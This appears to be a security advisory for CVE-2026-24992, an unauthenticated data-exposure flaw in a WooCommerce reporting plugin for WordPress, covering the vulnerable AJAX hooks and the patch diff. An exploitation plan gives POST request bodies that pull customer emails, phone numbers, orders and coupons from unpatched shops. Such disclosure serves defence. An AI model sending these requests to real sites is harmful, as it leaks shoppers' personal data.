CVE-2026-24992

Advanced WooCommerce Product Sales Reporting <= 4.1.2 - Unauthenticated Information Exposure

mediumExposure of Sensitive Information to an Unauthorized Actor
5.3
CVSS Score
5.3
CVSS Score
medium
Severity
4.1.3
Patched in
11d
Time to patch

Description

The Advanced WooCommerce Product Sales Reporting – Statistics & Forecast plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 4.1.2. This makes it possible for unauthenticated attackers to extract sensitive user or configuration data.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Low
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=4.1.2
PublishedJanuary 23, 2026
Last updatedFebruary 2, 2026

What Changed in the Fix

Changes introduced in v4.1.3

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan - CVE-2026-24992 ## 1. Vulnerability Summary The **Advanced WooCommerce Product Sales Reporting** plugin (up to version 4.1.2) is vulnerable to **Unauthenticated Information Exposure**. The plugin registers several AJAX handlers for generating reports (customers, orders…

Show full research plan

Exploitation Research Plan - CVE-2026-24992

1. Vulnerability Summary

The Advanced WooCommerce Product Sales Reporting plugin (up to version 4.1.2) is vulnerable to Unauthenticated Information Exposure. The plugin registers several AJAX handlers for generating reports (customers, orders, countries, etc.) using the wp_ajax_nopriv_ hook. This makes these endpoints accessible to unauthenticated users. Furthermore, the handler functions in OrderProcessorHelp do not implement capability checks (current_user_can) or nonce verification, allowing any remote actor to extract sensitive customer lists, order histories, and sales data.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: get_customers (or get_orders, get_coupons)
  • HTTP Method: POST
  • Authentication: None (Unauthenticated)
  • Preconditions:
    • The plugin must be active.
    • WooCommerce must be installed and contain customer or order data.
  • Vulnerable Hook: wp_ajax_nopriv_get_customers (and others defined in helper-class.php).

3. Code Flow

  1. Entry Point: An unauthenticated user sends a POST request to admin-ajax.php with action=get_customers.
  2. Hook Registration: In helper-class.php, the OrderProcessorHelp::__construct() method registers the hook:
    add_action( 'wp_ajax_get_customers',        array( $this,'get_customers' ) );
    add_action( 'wp_ajax_nopriv_get_customers', array( $this,'get_customers' ) );
    
  3. Handler Execution: WordPress executes OrderProcessorHelp::get_customers().
  4. Missing Protection: The get_customers function (and others like get_orders) fails to call check_ajax_referer() or current_user_can( 'manage_woocommerce' ).
  5. Data Sink: The function queries the WooCommerce database (specifically the customer lookup tables or wp_users/wp_usermeta) and returns a JSON-encoded list of customer details including names, emails, and phone numbers.

4. Nonce Acquisition Strategy

No nonce is required.
Analysis of the webdWoocommerceReportingStatistics::BackEndScripts() function in webd-woocommerce-reporting-statistics.php shows the wp_localize_script call for the webdWoocommerceReportingStatistics object:

wp_localize_script(
    "webd-woocommerce-reporting-statistics"."adminJs",
    "webdWoocommerceReportingStatistics",
    array(
        'thispluginpage' => admin_url("/admin.php?page=".$this->slug),
        'url'            => admin_url( 'admin-ajax.php' ),
        'plugin_url'     => plugins_url( '', __FILE__ ),
        'ajax_url'       => admin_url( 'admin-ajax.php' ),
        'siteUrl'        => site_url(),
        'plugin_wrapper' => "webd-woocommerce-reporting-statistics",
        // ... (No nonce parameter present)
    )
);

Furthermore, the nopriv_ registration indicates the endpoints were erroneously exposed to public access. The handlers in helper-class.php are expected to process the request directly.

5. Exploitation Strategy

Step 1: Extract Customer List (PII Exposure)

This request targets the customer report data.

  • URL: {{BASE_URL}}/wp-admin/admin-ajax.php
  • Method: POST
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body: action=get_customers

Step 2: Extract Order Details

This request targets the order history, which may contain transaction IDs and specific product interests.

  • URL: {{BASE_URL}}/wp-admin/admin-ajax.php
  • Method: POST
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body: action=get_orders

Step 3: Extract Reporting Statistics

This request targets overall sales metrics.

  • URL: {{BASE_URL}}/wp-admin/admin-ajax.php
  • Method: POST
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body: action=display_orders_by_period&tab=months

6. Test Data Setup

  1. Install WooCommerce: Ensure WooCommerce is active.
  2. Create a Customer:
    wp user create victim victim@example.com --role=customer --user_pass=password123 --first_name="Victim" --last_name="User"
    
  3. Create an Order: Use WC CLI to create a sample order for the customer.
    wp wc shop_order create --customer_id=2 --status=completed --set_paid=true
    
  4. Configure Plugin: The plugin uses default settings upon activation in onActivation(). No further configuration is needed.

7. Expected Results

  • Success Criteria: The HTTP response should be 200 OK and contain a JSON array or object.
  • Data Exposed: For action=get_customers, the response should contain PII fields such as:
    • billing_email
    • billing_phone
    • first_name / last_name
    • city / country
  • Format: Likely a JSON list compatible with DataTables (e.g., {"data": [...], "recordsTotal": ...}).

8. Verification Steps

After performing the HTTP request:

  1. Verify the leaked data matches the database records:
    wp user list --role=customer --fields=user_email,display_name
    
  2. Compare the email addresses in the AJAX response with the output of the wp user list command. If they match, information exposure is confirmed.

9. Alternative Approaches

If get_customers does not return data directly (e.g., if it requires pagination parameters), attempt adding standard DataTables parameters:

  • Body: action=get_customers&start=0&length=10&draw=1

If get_customers is restricted by specific environment settings, attempt:

  • Action: get_coupons (Exposes discount codes and usage limits).
  • Action: get_payments (Exposes payment gateway configuration names and transaction volumes).
Research Findings
Static analysis — not yet PoC-verified

Summary

The plugin incorrectly exposes several AJAX endpoints intended for administrative reporting to unauthenticated users by registering them with the 'wp_ajax_nopriv_' hook. Due to a lack of capability checks and nonce verification within the handler functions, attackers can extract sensitive WooCommerce information, including customer PII, order histories, and sales statistics.

Vulnerable Code

// helper-class.php line 104
public function __construct() {

    add_action( 'wp_ajax_getOrders',        array( $this,'getOrders' ) );
    add_action( 'wp_ajax_nopriv_getOrders', array( $this,'getOrders' ) );

    add_action( 'wp_ajax_get_orders',        array( $this,'get_orders' ) );
    add_action( 'wp_ajax_nopriv_get_orders', array( $this,'get_orders' ) );

    add_action( 'wp_ajax_get_customers',        array( $this,'get_customers' ) );
    add_action( 'wp_ajax_nopriv_get_customers', array( $this,'get_customers' ) );

    add_action( 'wp_ajax_get_countries',        array( $this,'get_countries' ) );
    add_action( 'wp_ajax_nopriv_get_countries', array( $this,'get_countries' ) );

    add_action( 'wp_ajax_get_payments',        array( $this,'get_payments' ) );
    add_action( 'wp_ajax_nopriv_get_payments', array( $this,'get_payments' ) );

    add_action( 'wp_ajax_get_coupons',        array( $this,'get_coupons' ) );
    add_action( 'wp_ajax_nopriv_get_coupons', array( $this,'get_coupons' ) );

    add_action( 'wp_ajax_get_products',        array( $this,'get_products' ) );
    add_action( 'wp_ajax_nopriv_get_products', array( $this,'get_products' ) );

    add_action( 'wp_ajax_get_categories',        array( $this,'get_categories' ) );
    add_action( 'wp_ajax_nopriv_get_categories', array( $this,'get_categories' ) );

    add_action( 'wp_ajax_display_orders_by_period',        array( $this,'display_orders_by_period' ) );
    add_action( 'wp_ajax_nopriv_display_orders_by_period', array( $this,'display_orders_by_period' ) );

}

---

// helper-class.php line 833
public function get_customers() {

    if (
        is_admin() &&
        (
            isset( $_POST['action'] ) &&
            'get_customers' === $_POST['action']
        )
    ) {
        // ... queries database and returns data directly without capability check

Security Fix

--- /home/deploy/wp-safety.org/data/plugin-versions/webd-woocommerce-advanced-reporting-statistics/4.1.2/helper-class.php	2025-12-26 20:31:00.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/webd-woocommerce-advanced-reporting-statistics/4.1.3/helper-class.php	2026-01-14 14:34:08.000000000 +0000
@@ -101,36 +101,19 @@
 
 	/**
 	 * Constructor.
+	 *
+	 * @version 4.1.3
 	 */
 	public function __construct() {
-
-		add_action( 'wp_ajax_getOrders',        array( $this,'getOrders' ) );
-		add_action( 'wp_ajax_nopriv_getOrders', array( $this,'getOrders' ) );
-
-		add_action( 'wp_ajax_get_orders',        array( $this,'get_orders' ) );
-		add_action( 'wp_ajax_nopriv_get_orders', array( $this,'get_orders' ) );
-
-		add_action( 'wp_ajax_get_customers',        array( $this,'get_customers' ) );
-		add_action( 'wp_ajax_nopriv_get_customers', array( $this,'get_customers' ) );
-
-		add_action( 'wp_ajax_get_countries',        array( $this,'get_countries' ) );
-		add_action( 'wp_ajax_nopriv_get_countries', array( $this,'get_countries' ) );
-
-		add_action( 'wp_ajax_get_payments',        array( $this,'get_payments' ) );
-		add_action( 'wp_ajax_nopriv_get_payments', array( $this,'get_payments' ) );
-
-		add_action( 'wp_ajax_get_coupons',        array( $this,'get_coupons' ) );
-		add_action( 'wp_ajax_nopriv_get_coupons', array( $this,'get_coupons' ) );
-
-		add_action( 'wp_ajax_get_products',        array( $this,'get_products' ) );
-		add_action( 'wp_ajax_nopriv_get_products', array( $this,'get_products' ) );
-
-		add_action( 'wp_ajax_get_categories',        array( $this,'get_categories' ) );
-		add_action( 'wp_ajax_nopriv_get_categories', array( $this,'get_categories' ) );
-
-		add_action( 'wp_ajax_display_orders_by_period',        array( $this,'display_orders_by_period' ) );
-		add_action( 'wp_ajax_nopriv_display_orders_by_period', array( $this,'display_orders_by_period' ) );
-
+		add_action( 'wp_ajax_getOrders', array( $this,'getOrders' ) );
+		add_action( 'wp_ajax_get_orders', array( $this,'get_orders' ) );
+		add_action( 'wp_ajax_get_customers', array( $this,'get_customers' ) );
+		add_action( 'wp_ajax_get_countries', array( $this,'get_countries' ) );
+		add_action( 'wp_ajax_get_payments', array( $this,'get_payments' ) );
+		add_action( 'wp_ajax_get_coupons', array( $this,'get_coupons' ) );
+		add_action( 'wp_ajax_get_products', array( $this,'get_products' ) );
+		add_action( 'wp_ajax_get_categories', array( $this,'get_categories' ) );
+		add_action( 'wp_ajax_display_orders_by_period', array( $this,'display_orders_by_period' ) );
 	}
 
 	/**
@@ -183,7 +166,8 @@
 
 		if (
 			'POST' === $_SERVER['REQUEST_METHOD'] &&
-			'display_orders_by_period' === $_POST['action']
+			'display_orders_by_period' === $_POST['action'] &&
+			current_user_can( 'manage_woocommerce' )
 		) {

Exploit Outline

The exploit targets the `/wp-admin/admin-ajax.php` endpoint. An unauthenticated attacker sends a POST request with the 'action' parameter set to 'get_customers' (to leak PII), 'get_orders' (to leak transaction history), or 'get_coupons' (to leak discount data). Because the plugin registers these actions via wp_ajax_nopriv_ and the handler functions lack current_user_can() checks, the server will process the request and return the sensitive data in a JSON format without requiring any authentication or nonces.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.